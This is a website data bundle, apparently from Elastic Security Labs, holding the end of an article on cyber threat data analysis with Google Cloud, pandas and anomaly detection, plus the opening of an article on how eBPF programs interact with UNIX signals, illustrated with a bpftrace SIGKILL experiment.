\",(0,t.jsx)(e.a,{href:\"https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.IsolationForest.html\",rel:\"nofollow\",children:\"Isolation Forest\"}),\" or \",(0,t.jsx)(e.a,{href:\"https://scikit-learn.org/stable/modules/neighbors.html\",rel:\"nofollow\",children:\"K-nearest neighbor\"}),\"(KNN) are commonly used to spot deviations or clusters of commonly related data.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`from sklearn.ensemble import IsolationForest\n\n# Assuming 'feature_set' contains relevant metrics for analysis\nclf = IsolationForest(contamination=0.05)\nanomalies = clf.fit_predict(feature_set)\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Here, the anomalies variable will flag data points that deviate from the norm, helping analysts pinpoint unusual behavior swiftly.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"behavioral-patterns--endpoint-data-analysis\",children:\"Behavioral patterns \u0026 endpoint data analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"Analyzing endpoint behavioral data collected from detection rules allows us to unearth overarching patterns and trends that can be indicative of broader threat landscapes, cyber campaigns, or evolving attacker TTPs.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Tactic progression patterns:\"}),\" By monitoring the sequence of detected behaviors over time, we can spot patterns in how adversaries move through their attack chain. For instance, if there's a consistent trend where initial access techniques are followed by execution and then lateral movement, it's indicative of a common attacker playbook being employed.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Command-line trend analysis:\"}),\" Even within malicious command-line arguments, certain patterns or sequences can emerge. Monitoring the most frequently detected malicious arguments can give insights into favored attack tools or scripts.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Example:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`# Most frequently detected malicious command lines\ntop_malicious_commands = df.groupby('malicious_command_line').size()\n .sort_values(ascending=False).head(10)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Process interaction trends:\"}),\" While individual parent-child process relationships can be malicious, spotting trends in these interactions can hint at widespread malware campaigns or attacker TTPs. For instance, if a large subset of endpoints is showing the same unusual process interaction, it might suggest a common threat.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Temporal behavior patterns:\"}),\" Just as with other types of data, the temporal aspect of endpoint behavioral data can be enlightening. Analyzing the frequency and timing of certain malicious behaviors can hint at attacker operational hours or campaign durations.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Example:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`# Analyzing frequency of a specific malicious behavior over time\nmonthly_data = df.pivot_table(index='timestamp', columns='tactic', values='count', aggfunc='sum').resample('M').sum()\n\nax = monthly_data[['execution', 'defense-evasion']].plot(kind='bar', stacked=False, figsize=(12,6))\n\nplt.title(\"Frequency of 'execution' and 'defense-evasion' Tactics Over Time\")\n\nplt.ylabel(\"Count\")\nax.set_xticklabels([x.strftime('%B-%Y') for x in monthly_data.index])\nplt.xticks(rotation=45)\nplt.tight_layout()\nplt.show()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image11.png\",alt:\"Note: This image is from example data and not from the Global Threat Report\",width:\"1440\",height:\"709\"}),`\nNote: This image is from example data and not from the Global Threat Report`]}),`\n`,(0,t.jsx)(e.p,{children:\"By aggregating and analyzing endpoint behavioral data at a macro level, we don't just identify isolated threats but can spot waves, trends, and emerging patterns. This broader perspective empowers cybersecurity teams to anticipate, prepare for, and counter large-scale cyber threats more effectively.\"}),`\n`,(0,t.jsx)(e.p,{children:\"While these are some examples of how to perform trend analysis, there is no right or wrong approach. Every analyst has their own preference or set of questions they or stakeholders may want to ask. Here are some additional questions or queries analysts may have for cybersecurity data when doing trend analysis.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"What are the top three tactics being leveraged by adversaries this quarter?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Which detection rules are triggering the most, and is there a common thread?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Are there any time-based patterns in endpoint alerts, possibly hinting at an adversary's timezone?\"}),`\n`,(0,t.jsx)(e.li,{children:\"How have cloud alerts evolved with the migration of more services to the cloud?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Which malware families are becoming more prevalent, and what might be the cause?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Do the data patterns suggest any seasonality, like increased activities towards year-end?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Are there correlations between external events and spikes in cyber activities?\"}),`\n`,(0,t.jsx)(e.li,{children:\"How does the weekday data differ from weekends in terms of alerts and attacks?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Which organizational assets are most targeted, and are their defenses up-to-date?\"}),`\n`,(0,t.jsx)(e.li,{children:\"Are there any signs of internal threats or unusual behaviors among privileged accounts?\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Trend analysis in cybersecurity is a dynamic process. While we've laid down some foundational techniques and questions, there are myriad ways to approach this vast domain. Each analyst may have their preferences, tools, and methodologies, and that's perfectly fine. The essence lies in continuously evolving and adapting to our approach while cognizantly being aware of the ever-changing threat landscape for each ecosystem exposed to threats.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"reduction-streamlining-for-clarity\",children:\"Reduction: Streamlining for clarity\"}),`\n`,(0,t.jsx)(e.p,{children:\"Having progressed through the initial stages of our data analysis, we now enter the next phase: reduction. This step is about refining and concentrating our comprehensive data into a more digestible and focused format.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Recap of the Analysis Journey So Far:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Extraction:\"}),\" The initial phase involved setting up our Google Cloud environment and selecting relevant datasets for our analysis.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Pre-processing and transformation:\"}),\" At this stage, the data was extracted, processed, and transformed within our Colab notebooks, preparing it for detailed analysis.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Trend analysis:\"}),\" This phase provided in-depth insights into cyber attack tactics, techniques, and malware, forming the core of our analysis.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"While the detailed data in our Colab Notebooks is extensive and informative for an analyst, it might be too complex for a broader audience. Therefore, the reduction phase focuses on distilling this information into a more concise and accessible form. The aim is to make the findings clear and understandable, ensuring that they can be effectively communicated and utilized across various departments or stakeholders.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"selecting-and-aggregating-key-data-points\",children:\"Selecting and aggregating key data points\"}),`\n`,(0,t.jsx)(e.p,{children:\"In order to effectively communicate our findings, we must tailor the presentation to the audience's needs. Not every stakeholder requires the full depth of collected data; many prefer a summarized version that highlights the most actionable points. This is where data selection and aggregation come into play, focusing on the most vital elements and presenting them in an accessible format.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Here's an example of how to use Pandas to aggregate and condense a dataset, focusing on key aspects of endpoint behavior:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`required_endpoint_behavior_cols = ['rule_name','host_os_type','tactic_name','technique_name']\n\n\nreduced_behavior_df = df.groupby(required_endpoint_behavior_cols).size()\n .reset_index(name='count')\n .sort_values(by=\"count\", ascending=False)\n .reset_index(drop=True)\n\ncolumns = {\n 'rule_name': 'Rule Name', \n 'host_os_type': 'Host OS Type',\n 'tactic_name': 'Tactic', \n 'technique_name': 'Technique', \n 'count': 'Alerts'\n}\n\nreduced_behavior_df = reduced_behavior_df.rename(columns=columns)\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"One remarkable aspect of this code and process is the flexibility it offers. For instance, we can group our data by various data points tailored to our needs. Interested in identifying popular tactics used by adversaries? Group by the MITRE ATT\u0026CK tactic. Want to shed light on masquerading malicious binaries? Revisit extraction to add more Elastic Common Schema (ECS) fields such as file path, filter on Defense Evasion, and aggregate to reveal the commonly trodden paths. This approach ensures we create datasets that are both enlightening and not overwhelmingly rich, tailor-made for stakeholders who wish to understand the origins of our analysis.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This process involves grouping the data by relevant categories such as rule name, host OS type, and MITRE ATT\u0026CK tactics and techniques and then counting the occurrences. This method helps in identifying the most prevalent patterns and trends in the data.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image5.png\",alt:\"Diagram example of data aggregation to obtain reduced dataset\",width:\"1440\",height:\"622\"}),`\nDiagram example of data aggregation to obtain reduced dataset`]}),`\n`,(0,t.jsx)(e.h2,{id:\"exporting-reduced-data-to-google-sheets-for-accessibility\",children:\"Exporting reduced data to Google Sheets for accessibility\"}),`\n`,(0,t.jsx)(e.p,{children:\"The reduced data, now stored as a dataframe in memory, is ready to be exported. We use Google Sheets as the platform for sharing these insights because of its wide accessibility and user-friendly interface. The process of exporting data to Google Sheets is straightforward and efficient, thanks to the integration with Google Cloud services.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Here's an example of how the data can be uploaded to Google Sheets using Python from our Colab notebook:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`auth.authenticate_user()\ncredentials, project = google.auth.default()\ngc = gspread.authorize(credentials)\nworkbook = gc.open_by_key(\"SHEET_ID\")\nbehavior_sheet_name = 'NAME_OF_TARGET_SHEET'\nendpoint_behavior_worksheet = workbook.worksheet(behavior_sheet_name)\nset_with_dataframe(endpoint_behavior_worksheet, reduced_behavior_df)\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"With a few simple lines of code, we have effectively transferred our data analysis results to Google Sheets. This approach is widely used due to its accessibility and ease of use. However, there are multiple other methods to present data, each suited to different requirements and audiences. For instance, some might opt for a platform like \",(0,t.jsx)(e.a,{href:\"https://cloud.google.com/looker?hl=en\",rel:\"nofollow\",children:\"Looker\"}),\" to present the processed data in a more dynamic dashboard format. This method is particularly useful for creating interactive and visually engaging presentations of data. It ensures that even stakeholders who may not be familiar with the technical aspects of data analysis, such as those working in Jupyter Notebooks, can easily understand and derive value from the insights.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image7.png\",alt:\"Results in Google Sheet\",width:\"1440\",height:\"469\"})}),`\n`,(0,t.jsx)(e.p,{children:\"This streamlined process of data reduction and presentation can be applied to different types of datasets, such as cloud SIEM alerts, endpoint behavior alerts, or malware alerts. The objective remains the same: to simplify and concentrate the data for clear and actionable insights.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"presentation-showcasing-the-insights\",children:\"Presentation: Showcasing the insights\"}),`\n`,(0,t.jsx)(e.p,{children:\"After meticulously refining our datasets, we now focus on the final stage: the presentation. Here we take our datasets, now neatly organized in platforms like Google Sheets or Looker, and transform them into a format that is both informative and engaging.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"pivot-tables-for-in-depth-analysis\",children:\"Pivot tables for in-depth analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"Using pivot tables, we can create a comprehensive overview of our trend analysis findings. These tables allow us to display data in a multi-dimensional manner, offering insights into various aspects of cybersecurity, such as prevalent MITRE ATT\u0026CK tactics, chosen techniques, and preferred malware families.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our approach to data visualization involves:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Broad overview with MITRE ATT\u0026CK tactics:\"}),\" Starting with a general perspective, we use pivot tables to overview the different tactics employed in cyber threats.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Detailed breakdown:\"}),\" From this panoramic view, we delve deeper, creating separate pivot tables for each popular tactic and then branching out into detailed analyses for each technique and specific detection rule.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"This methodical process helps to uncover the intricacies of detection logic and alerts, effectively narrating the story of the cyber threat landscape.\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.img,{src:\"/assets/images/google-cloud-for-cyber-data-analytics/image1.png\",alt:\"Diagram showcasing aggregations funnel into contextual report information\",width:\"1440\",height:\"1268\"}),`\nDiagram showcasing aggregations funnel into contextual report information`]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Accessibility across audiences:\"}),\" Our data presentations are designed to cater to a wide range of audiences, from those deeply versed in data science to those who prefer a more straightforward understanding. The Google Workspace ecosystem facilitates the sharing of these insights, allowing pivot tables, reduced datasets, and other elements to be easily accessible to all involved in the report-making process.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Integrating visualizations into reports:\"}),\" When crafting a report, for example, in Google Docs, the integration of charts and tables from Google Sheets is seamless. This integration ensures that any modifications in the datasets or pivot tables are easily updated in the report, maintaining the efficiency and coherence of the presentation.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Tailoring the presentation to the audience:\"}),\" The presentation of data insights is not just about conveying information; it's about doing so in a visually appealing and digestible manner. For a more tech-savvy audience, an interactive Colab Notebook with dynamic charts and functions may be ideal. In contrast, for marketing or design teams, a well-designed dashboard in Looker might be more appropriate. The key is to ensure that the presentation is clear, concise, and visually attractive, tailored to the specific preferences and needs of the audience.\"]}),`\n`,(0,t.jsx)(e.h1,{id:\"conclusion-reflecting-on-the-data-analysis-journey\",children:\"Conclusion: Reflecting on the data analysis journey\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we conclude, it's valuable to reflect on the territory we've navigated in analyzing cyber threat data. This journey involved several key stages, each contributing significantly to our final insights.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"journey-through-googles-cloud-ecosystem\",children:\"Journey through Google's Cloud ecosystem\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our path took us through several Google Cloud services, including GCP, GCE, Colab Notebooks, and Google Workspace. Each played a pivotal role:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Data exploration:\"}),` We began with a set of cyber-related questions we wanted to answer and explored what vast datasets we had available to us. In this blog, we focused solely on telemetry being available in BigQuery.\n`,(0,t.jsx)(e.strong,{children:\"Data extraction:\"}),` We began by extracting raw data, utilizing BigQuery to efficiently handle large volumes of data. Extraction occurred in both BigQuery and from within our Colab notebooks.\n`,(0,t.jsx)(e.strong,{children:\"Data wrangling and processing:\"}),` The power of Python and the pandas library was leveraged to clean, aggregate, and refine this data, much like a chef skillfully preparing ingredients.\n`,(0,t.jsx)(e.strong,{children:\"Trend analysis:\"}),` We then performed trend analysis on our reformed datasets with several methodologies to glean valuable insights into adversary tactics, techniques, and procedures over time.\n`,(0,t.jsx)(e.strong,{children:\"Reduction:\"}),` Off the backbone of our trend analysis, we aggregated our different datasets by targeted data points in preparation for presentation to stakeholders and peers.\n`,(0,t.jsx)(e.strong,{children:\"Transition to presentation:\"}),\" The ease of moving from data analytics to presentation within a web browser highlighted the agility of our tools, facilitating a seamless workflow.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"modularity-and-flexibility-in-workflow\",children:\"Modularity and flexibility in workflow\"}),`\n`,(0,t.jsx)(e.p,{children:\"An essential aspect of our approach was the modular nature of our workflow. Each phase, from data extraction to presentation, featured interchangeable components in the Google Cloud ecosystem, allowing us to tailor the process to specific needs:\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Versatile tools:\"}),` Google Cloud Platform offered a diverse range of tools and options, enabling flexibility in data storage, analysis, and presentation.\n`,(0,t.jsx)(e.strong,{children:\"Customized analysis path:\"}),` Depending on the specific requirements of our analysis, we could adapt and choose different tools and methods, ensuring a tailored approach to each dataset.\n`,(0,t.jsx)(e.strong,{children:\"Authentication and authorization:\"}),\" Due to our entities being housed in the Google Cloud ecosystem, access to different tools, sites, data, and more was all painless, ensuring a smooth transition between services.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"orchestration-and-tool-synchronization\",children:\"Orchestration and tool synchronization\"}),`\n`,(0,t.jsx)(e.p,{children:\"The synergy between our technical skills and the chosen tools was crucial. This harmonization ensured that the analytical process was not only effective for this project but also set the foundation for more efficient and insightful future analyses. The tools were used to augment our capabilities, keeping the focus on deriving meaningful insights rather than getting entangled in technical complexities.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In summary, this journey through data analysis emphasized the importance of a well-thought-out approach, leveraging the right tools and techniques, and the adaptability to meet the demands of cyber threat data analysis. The end result is not just a set of findings but a refined methodology that can be applied to future data analysis endeavors in the ever-evolving field of cybersecurity.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"call-to-action-embarking-on-your-own-data-analytics-journey\",children:\"Call to Action: Embarking on your own data analytics journey\"}),`\n`,(0,t.jsx)(e.p,{children:\"Your analytical workspace is ready! What innovative approaches or experiences with Google Cloud or other data analytics platforms can you bring to the table? The realm of data analytics is vast and varied, and although each analyst brings a unique touch, the underlying methods and principles are universal.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The objective is not solely to excel in your current analytical projects but to continually enhance and adapt your techniques. This ongoing refinement ensures that your future endeavors in data analysis will be even more productive, enlightening, and impactful. Dive in and explore the world of data analytics with Google Cloud!\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We encourage any feedback and engagement for this topic! If you prefer to do so, feel free to engage us in Elastic\\u2019s public \",(0,t.jsx)(e.a,{href:\"https://elasticstack.slack.com/archives/C018PDGK6JU\",rel:\"nofollow\",children:\"#security\"}),\" Slack channel.\"]})]})}function T(a={}){let{wrapper:e}=a.components||{};return e?(0,t.jsx)(e,Object.assign({},a,{children:(0,t.jsx)(c,a)})):c(a)}var k=T;return v(x);})();\n;return Component;"},"_id":"articles/google-cloud-for-cyber-data-analytics.mdx","_raw":{"sourceFilePath":"articles/google-cloud-for-cyber-data-analytics.mdx","sourceFileName":"google-cloud-for-cyber-data-analytics.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/google-cloud-for-cyber-data-analytics"},"type":"Article","imageUrl":"/assets/images/google-cloud-for-cyber-data-analytics/photo-edited-12.png","readingTime":"42 min read","series":"","url":"/google-cloud-for-cyber-data-analytics","headings":[{"level":2,"title":"Data extraction tools and techniques","href":"#data-extraction-tools-and-techniques"},{"level":2,"title":"BigQuery for data staging and querying","href":"#bigquery-for-data-staging-and-querying"},{"level":2,"title":"Colab Notebooks for loading staged datasets","href":"#colab-notebooks-for-loading-staged-datasets"},{"level":2,"title":"Essential Python libraries for data analysis","href":"#essential-python-libraries-for-data-analysis"},{"level":2,"title":"Organizing Colab Notebooks before analysis","href":"#organizing-colab-notebooks-before-analysis"},{"level":2,"title":"Extracting Our BigQuery datasets into dataframes","href":"#extracting-our-bigquery-datasets-into-dataframes"},{"level":2,"title":"Embracing the art of data cleaning","href":"#embracing-the-art-of-data-cleaning"},{"level":2,"title":"Utilizing Pandas for data cleaning","href":"#utilizing-pandas-for-data-cleaning"},{"level":2,"title":"Feature extraction and enrichment","href":"#feature-extraction-and-enrichment"},{"level":2,"title":"Feature extraction","href":"#feature-extraction"},{"level":2,"title":"Data enrichment","href":"#data-enrichment"},{"level":2,"title":"Normalization","href":"#normalization"},{"level":2,"title":"Anomaly detection: Refining the process of data analysis","href":"#anomaly-detection-refining-the-process-of-data-analysis"},{"level":3,"title":"Statistical methods – The backbone of analysis:","href":"#statistical-methods--the-backbone-of-analysis"},{"level":2,"title":"Aggregations and sorting – unraveling layers:","href":"#aggregations-and-sorting--unraveling-layers"},{"level":3,"title":"Visualization – The lens of clarity:","href":"#visualization--the-lens-of-clarity"},{"level":3,"title":"Machine learning – The advanced guard:","href":"#machine-learning--the-advanced-guard"},{"level":2,"title":"Beginning with a broad overview: Aggregation and sorting","href":"#beginning-with-a-broad-overview-aggregation-and-sorting"},{"level":2,"title":"The power of time: Time series analysis","href":"#the-power-of-time-time-series-analysis"},{"level":2,"title":"Correlation analysis","href":"#correlation-analysis"},{"level":2,"title":"Machine learning \u0026 anomaly detection","href":"#machine-learning--anomaly-detection"},{"level":2,"title":"Behavioral patterns \u0026 endpoint data analysis","href":"#behavioral-patterns--endpoint-data-analysis"},{"level":2,"title":"Selecting and aggregating key data points","href":"#selecting-and-aggregating-key-data-points"},{"level":2,"title":"Exporting reduced data to Google Sheets for accessibility","href":"#exporting-reduced-data-to-google-sheets-for-accessibility"},{"level":2,"title":"Pivot tables for in-depth analysis","href":"#pivot-tables-for-in-depth-analysis"},{"level":2,"title":"Journey through Google's Cloud ecosystem","href":"#journey-through-googles-cloud-ecosystem"},{"level":2,"title":"Modularity and flexibility in workflow","href":"#modularity-and-flexibility-in-workflow"},{"level":2,"title":"Orchestration and tool synchronization","href":"#orchestration-and-tool-synchronization"}],"author":[{"title":"Terrance DeJesus","slug":"terrance-dejesus","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),_=(e,t)=\u003e{for(var n in t)o(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,a)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let s of f(t))!j.call(e,s)\u0026\u0026s!==n\u0026\u0026o(e,s,{get:()=\u003et[s],enumerable:!(a=d(t,s))||a.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(g(e)):{},c(t||!e||!e.__esModule?o(n,\"default\",{value:e,enumerable:!0}):n,e)),D=e=\u003ec(o({},\"__esModule\",{value:!0}),e);var u=l((F,i)=\u003e{i.exports=_jsx_runtime});var C={};_(C,{default:()=\u003ey,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Terrance DeJesus\",description:\"Senior Security Research Engineer, Elastic\",slug:\"terrance-dejesus\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function h(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var y=h;return D(C);})();\n;return Component;"},"_id":"authors/terrance-dejesus.mdx","_raw":{"sourceFilePath":"authors/terrance-dejesus.mdx","sourceFileName":"terrance-dejesus.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/terrance-dejesus"},"type":"Author","imageUrl":"","url":"/authors/terrance-dejesus"},{"title":"Eric Forte","slug":"eric-forte","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(c=f(e,o))||c.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),F=t=\u003es(a({},\"__esModule\",{value:!0}),t);var u=l((h,i)=\u003e{i.exports=_jsx_runtime});var X={};d(X,{default:()=\u003eD,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Eric Forte\",slug:\"eric-forte\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return F(X);})();\n;return Component;"},"_id":"authors/eric-forte.mdx","_raw":{"sourceFilePath":"authors/eric-forte.mdx","sourceFileName":"eric-forte.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/eric-forte"},"type":"Author","imageUrl":"","url":"/authors/eric-forte"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Signaling from within: how eBPF interacts with signals","slug":"signaling-from-within-how-ebpf-interacts-with-signals","date":"2023-11-28","description":"This article explores some of the semantics of UNIX signals when generated from an eBPF program.","image":"photo-edited-09@2x.jpg","body":{"raw":"\n## Background\n\nSignals have been around since the UNIX First Edition in 1971 and while its semantics and system calls suffered changes throughout the years, its uses and application have remained largely the same. Usually, when we talk about signal semantics, we're talking about what userland can observe and interact with. After all, we mostly generate and handle signals to/from userland processes.\n\nIn this publication, we will explore some of the semantics from signals generated _inside_ the kernel within an eBPF program. More so, we’ll identify what kind of effects and guarantees we observed after the handling of such signals. You can find more information about eBPF [in this article](https://www.elastic.co/blog/ebpf-observability-security-workload-profiling).\n\n## Motivation\n\nIn [Elastic Defend for Containers](https://docs.elastic.co/integrations/cloud_defend) we utilize eBPF in Linux Security Module ([LSM](https://www.kernel.org/doc/html/v4.16/admin-guide/LSM/index.html)) hooks that restrict access to system resources. Using LSM is the preferred way to conduct this kind of restriction as the eBPF program can return an error like [EPERM (an operation was attempted, but without proper privileges)](https://pubs.opengroup.org/onlinepubs/9699919799/functions/V2_chap02.html#tag_15_03), which is propagated up to the system call return value.\n\nThe problem with using eBPF+LSM in this way is that support is relatively new and only applies to AMD64 for the most part. Therefore, we wanted to explore using the eBPF helper [`bpf_send_signal`()](https://man7.org/linux/man-pages/man7/bpf-helpers.7.html) where necessary, like older kernels or different architectures. Instead of failing the system call with EPERM, `bpf_send_signal()` would be used to send a `SIGKILL` to the current process and terminate it, arguably more dramatic but still reasonable given the limitations.\n\nGenerally, we aim to answer these questions:\n - What side effects are observed (if any) after the program receives a `SIGKILL`\n - Which of the side effects (if any) result from the signal subsystem design versus the implementation\n - If the kernel code shifts in the future, how will that impact these side effects\n \n## Scenario: blocking openat(2)\n\nImagine we would like to prevent certain processes from opening files and, for the sake of simplicity, we would like to prevent these processes from using an [`openat(2)`](https://linux.die.net/man/2/openat) system call.\n\nIf LSM were available, we would hook our eBPF program in the LSM hook [`security_file_open()`](https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L901), return EPERM, and then `openat(2)` would fail gracefully. Because LSM is not available, we’ll instead generate a `SIGKILL`, but first, we need to figure out a place to hook our eBPF program in the kernel. \n\nWe have options: use a static tracepoint like syscalls:sys_enter_openat2 or we can use [kprobes](https://docs.kernel.org/trace/kprobes.html) and run our eBPF program from a kernel function of our choice. Obvious candidates would be [`vfs_open`](https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L1045), [`do_sys_openat2`](https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L1045) (happens a little earlier), or [`__x64_sys_openat`](https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L1441) (even earlier, but machine-dependent). We can test it with bpftrace:\n\n```\nbpftrace --unsafe -e \n 'kprobe:vfs_open /str(((struct path *)arg0)-\u003edentry-\u003ed_name.name) == \"__noopen\"/ \n { signal(\"SIGKILL\") }'\n\n# In another tty we can put it to the test\n$ strace /bin/cat /tmp/__noopen\n...\nopenat(AT_FDCWD, \"/tmp/__noopen\", O_RDONLY) = ?\n+++ killed by SIGKILL +++\nKilled\n```\n\nWe can see that `cat(1)` is terminated with `SIGKILL` the moment it attempts to open the file. At first glance, this appears to work correctly, but it may be premature to declare victory.\n\nIt's important to note that the signal is not being generated by an external process but from the context of the `cat(1)` process doing the system call to itself. It is performing the equivalent of `kill(0, SIGKILL)` from within the kernel, where 0 means “self”.\n\nThe only thing we’ve proven is that the program is indeed terminated, but this opens more questions:\n - Did we block `openat(2)` or not?\n - Does the outcome change If we successfully block `openat(2)`?\n - Are there more observable side effects?\n\nIf we conduct the same experiment, on the same path but with a nonexistent 